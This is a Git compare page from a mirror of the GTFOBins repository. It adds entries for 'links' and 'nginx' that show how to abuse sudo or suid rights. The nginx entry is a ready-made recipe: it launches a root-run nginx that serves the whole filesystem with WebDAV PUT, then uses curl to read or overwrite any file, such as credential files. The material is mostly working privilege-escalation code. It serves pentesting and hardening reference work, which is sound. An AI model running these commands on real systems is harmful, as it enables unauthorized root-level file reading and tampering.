1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-13 02:56:02 +02:00

Compare commits

...

3 Commits

Author SHA1 Message Date
godylockz 060b55abb9
Merge ac9c805f42 into 97f46f1526 2024-04-24 13:27:17 +08:00
Juampa Rodríguez 97f46f1526
Create links
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2024-04-10 22:46:01 +02:00
godylockz ac9c805f42 Nginx commit 2023-11-23 00:58:43 -05:00
2 changed files with 87 additions and 0 deletions

16
_gtfobins/links.md Normal file
View File

@ -0,0 +1,16 @@
---
description: The result is displayed in a TUI interface.
functions:
file-read:
- code: |
LFILE=file_to_read
links "$LFILE"
suid:
- code: |
LFILE=file_to_read
./links "$LFILE"
sudo:
- code: |
LFILE=file_to_read
sudo links "$LFILE"
---

71
_gtfobins/nginx.md Normal file
View File

@ -0,0 +1,71 @@
---
functions:
sudo:
- description: This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute.
code: |
PORT=1337
LFILE=file_to_read
TFC=$(mktemp)
cat > $TFC << EOF
user root;
events {
worker_connections 1024;
}
http {
server {
listen $PORT;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
sudo nginx -c $TFC
curl -s http://localhost:$PORT$LFILE
file-read:
- description: This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute.
code: |
PORT=1337
LFILE=file_to_read
TFC=$(mktemp)
cat > $TFC << EOF
user root;
events {
worker_connections 1024;
}
http {
server {
listen $PORT;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
sudo nginx -c $TFC
curl -s http://localhost:$PORT$LFILE
file-write:
- description: This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute.
code: |
PORT=1337
LFILE=file_to_write
TF=$(mktemp)
echo DATA >$TF
TFC=$(mktemp)
cat > $TFC << EOF
user root;
events {
worker_connections 1024;
}
http {
server {
listen $PORT;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
sudo nginx -c $TFC
curl -X PUT http://localhost:$PORT$LFILE -d @$TF
---